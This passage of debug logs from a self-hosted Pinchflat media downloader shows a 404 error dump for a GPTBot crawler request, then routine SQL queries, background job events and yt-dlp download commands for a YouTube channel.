:"HTTP/1.1", path: "/sources/1/force_metadata_refresh", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 46768}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "connection" => "close", "from" => "gptbot(at)openai.com", "host" => "pinchflat.internal.ubrown.me", "referer" => "https://pinchflat.internal.ubrown.me/sources/1", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.241.48", "x-forwarded-proto" => "https", "x-openai-host-hash" => "372783186", "x-real-ip" => "74.7.241.48" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/1/force_metadata_refresh (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.4981.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/1/force_metadata_refresh", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 46768}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "connection" => "close", "from" => "gptbot(at)openai.com", "host" => "pinchflat.internal.ubrown.me", "referer" => "https://pinchflat.internal.ubrown.me/sources/1", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.241.48", "x-forwarded-proto" => "https", "x-openai-host-hash" => "372783186", "x-real-ip" => "74.7.241.48" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.4982.0>, params: %{}, path_info: ["sources", "1", "force_metadata_refresh"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.internal.ubrown.me", :phoenix_request_logger => {"request_logger", "request_logger"} }, (truncated) 22:42:51.375 [debug] HANDLE EVENT "reload_page" in Pinchflat.Pages.HistoryTableLive Parameters: %{"value" => ""} 22:42:51.376 [debug] QUERY OK source="media_items" db=0.7ms idle=350.6ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) [] 22:42:51.377 [debug] QUERY OK source="media_items" db=1.0ms idle=313.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 5] 22:42:51.378 [debug] QUERY OK source="sources" db=0.3ms idle=314.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 22:42:51.378 [debug] Replied in 3ms 22:42:58.945 [info] {"source":"oban","duration":1233,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:43:00.682 [info] {"source":"oban","duration":299,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:43:28.947 [info] {"source":"oban","duration":640,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:43:34.018 [info] GET /sources/1/media/111/edit 22:43:34.018 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.edit/2 Parameters: %{"id" => "111", "source_id" => "1"} Pipelines: [:browser] 22:43:34.019 [debug] QUERY OK source="media_items" db=0.4ms idle=1955.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [111] 22:43:34.020 [debug] QUERY OK source="settings" db=0.1ms idle=1925.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:43:34.020 [debug] QUERY OK source="settings" db=0.1ms idle=956.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:43:34.021 [debug] QUERY OK source="settings" db=0.1ms idle=957.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:43:34.023 [info] Sent 200 in 5ms 22:43:58.948 [info] {"source":"oban","duration":632,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:44:00.683 [info] {"source":"oban","duration":203,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:44:20.863 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=3JLmNRBi5GU --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --embed-subs --sub-langs en --embed-thumbnail --convert-thumbnail jpg --embed-metadata --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --output /downloads/Last Meals/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/60/f3/60f36d7a0f7f5040bc537b90429b913c8bac3463689ab73bdd797a0a071b20e7.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 22:44:20.884 [debug] Running yt-dlp command for action: download_thumbnail 22:44:20.885 [debug] QUERY OK source="settings" db=0.1ms idle=1821.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:44:20.885 [debug] QUERY OK source="settings" db=0.0ms idle=1715.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:44:20.885 [debug] QUERY OK source="settings" db=0.0ms idle=822.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:44:20.885 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=3JLmNRBi5GU --no-simulate --skip-download --write-thumbnail --convert-thumbnail jpg --output /config/metadata/media_items/102/thumbnail.%(ext)s --print-to-file after_move:%()j /tmp/pinchflat/data/94/e2/94e21671e6ca75e964841cc23ad28e43f5c911401128d4f03dc4f52aad6c42b4.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 22:44:23.587 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=3JLmNRBi5GU --no-simulate --skip-download --write-thumbnail --convert-thumbnail jpg --output /config/metadata/media_items/102/thumbnail.%(ext)s --print-to-file after_move:%()j /tmp/pinchflat/data/94/e2/94e21671e6ca75e964841cc23ad28e43f5c911401128d4f03dc4f52aad6c42b4.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 22:44:23.587 [debug] QUERY OK db=0.0ms idle=1524.2ms begin [] 22:44:23.596 [debug] QUERY OK source="media_items" db=8.8ms UPDATE "media_items" SET "media_downloaded_at" = ?, "media_filepath" = ?, "updated_at" = ? WHERE "id" = ? [~U[2026-03-28 02:44:20Z], "/downloads/Last Meals/2025-12-16 Macaulay Culkin Eats His Last Meal/Macaulay Culkin Eats His Last Meal [3JLmNRBi5GU].mp4", ~U[2026-03-28 02:44:23Z], 102] 22:44:23.597 [debug] QUERY OK source="media_metadata" db=0.4ms INSERT INTO "media_metadata" ("metadata_filepath","thumbnail_filepath","media_item_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5) RETURNING "id" ["/config/metadata/media_items/102/metadata.json.gz", "/config/metadata/media_items/102/thumbnail.jpg", 102, ~U[2026-03-28 02:44:23Z], ~U[2026-03-28 02:44:23Z]] 22:44:23.597 [debug] QUERY OK db=0.1ms commit [] 22:44:23.612 [debug] QUERY OK source="media_items" db=0.8ms idle=1548.4ms UPDATE "media_items" SET "media_size_bytes" = ?, "updated_at" = ? WHERE "id" = ? [513243014, ~U[2026-03-28 02:44:23Z], 102] 22:44:23.612 [info] User scripts lifecyle file either not present or is empty. Skipping. 22:44:23.613 [info] {"args":{"id":102},"id":101,"meta":{},"state":"success","max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","duration":172091232,"event":"job:stop","queue_time":6739521393,"attempt":1,"tags":["media_item","media_fetching","show_in_dashboard"]} 22:44:23.613 [debug] QUERY OK source="tasks" db=0.3ms idle=438.9ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 22:44:23.613 [debug] QUERY OK source="tasks" db=0.4ms idle=1440.1ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 22:44:23.614 [debug] QUERY OK source="media_items" db=0.3ms idle=16.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at", m0."id" FROM "media_items" AS m0 WHERE (m0."id" = ?) [101] 22:44:23.614 [debug] QUERY OK source="media_items" db=0.4ms idle=1.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at", m0."id" FROM "media_items" AS m0 WHERE (m0."id" = ?) [101] 22:44:23.618 [info] {"args":{"id":103},"id":102,"meta":{},"system_time":1774665863618768982,"max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_item","media_fetching","show_in_dashboard"]} 22:44:23.619 [debug] QUERY OK source="media_items" db=0.1ms idle=5.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [103] 22:44:23.619 [info] User scripts lifecyle file either not present or is empty. Skipping. 22:44:23.619 [debug] QUERY OK source="tasks" db=0.4ms idle=5.1ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 22:44:23.619 [debug] QUERY OK source="sources" db=0.2ms idle=4.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 22:44:23.619 [debug] QUERY OK source="tasks" db=0.7ms idle=4.8ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 22:44:23.619 [debug] QUERY OK source="media_profiles" db=0.2ms idle=0.4ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:44:23.619 [debug] QUERY OK source="media_items" db=0.3ms idle=0.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at", m0."id" FROM "media_items" AS m0 WHERE (m0."id" IN (?,?)) [101, 103] 22:44:23.619 [debug] QUERY OK source="media_items" db=0.1ms idle=0.3ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [103] 22:44:23.620 [debug] QUERY OK source="media_items" db=0.2ms idle=0.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at", m0."id" FROM "media_items" AS m0 WHERE (m0."id" IN (?,?)) [101, 103] 22:44:23.620 [debug] QUERY OK source="media_metadata" db=0.0ms idle=0.5ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [103] 22:44:23.620 [debug] QUERY OK source="media_profiles" db=0.0ms idle=0.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:44:23.620 [debug] QUERY OK source="settings" db=0.0ms idle=0.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:44:23.620 [debug] QUERY OK source="settings" db=0.0ms idle=0.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:44:23.620 [debug] Running yt-dlp command for action: get_downloadable_status 22:44:23.621 [debug] QUERY OK source="settings" db=0.0ms idle=1.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:44:23.621 [debug] QUERY OK source="settings" db=0.0ms idle=0.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:44:23.621 [debug] QUERY OK source="settings" db=0.0ms idle=0.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:44:23.621 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=isED-J6FRI0 --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/6f/84/6f84f0ebb3f0670cee9d21a9f7ee336c31505d9af6d00f279e0f143c41af63a0.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 22:44:25.912 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=isED-J6FRI0 --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/6f/84/6f84f0ebb3f0670cee9d21a9f7ee336c31505d9af6d00f279e0f143c41af63a0.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 22:44:25.912 [debug] Running yt-dlp command for action: download 22:44:25.912 [debug] QUERY OK source="settings" db=0.1ms idle=848.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:44:25.912 [debug] QUERY OK source="settings" db=0.0ms idle=848.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:44:25.912 [debug] QUERY OK source="settings" db=0.0ms idle=849.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:44:25.912 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=isED-J6FRI0 --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --embed-subs --sub-langs en --embed-thumbnail --convert-thumbnail jpg --embed-metadata --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --output /downloads/Last Meals/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/50/07/500720ff3d88aba2c60c95b126ee46ffea834f369c9900d02d024e4cf945a67d.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 22:44:28.949 [info] {"source":"oban","duration":577,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:44:34.808 [info] GET /sources/1/media/112/edit 22:44:34.808 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.edit/2 Parameters: %{"id" => "112", "source_id" => "1"} Pipelines: [:browser] 22:44:34.809 [debug] QUERY OK source="media_items" db=0.2ms idle=1745.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [112] 22:44:34.809 [debug] QUERY OK source="settings" db=0.1ms idle=1745.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 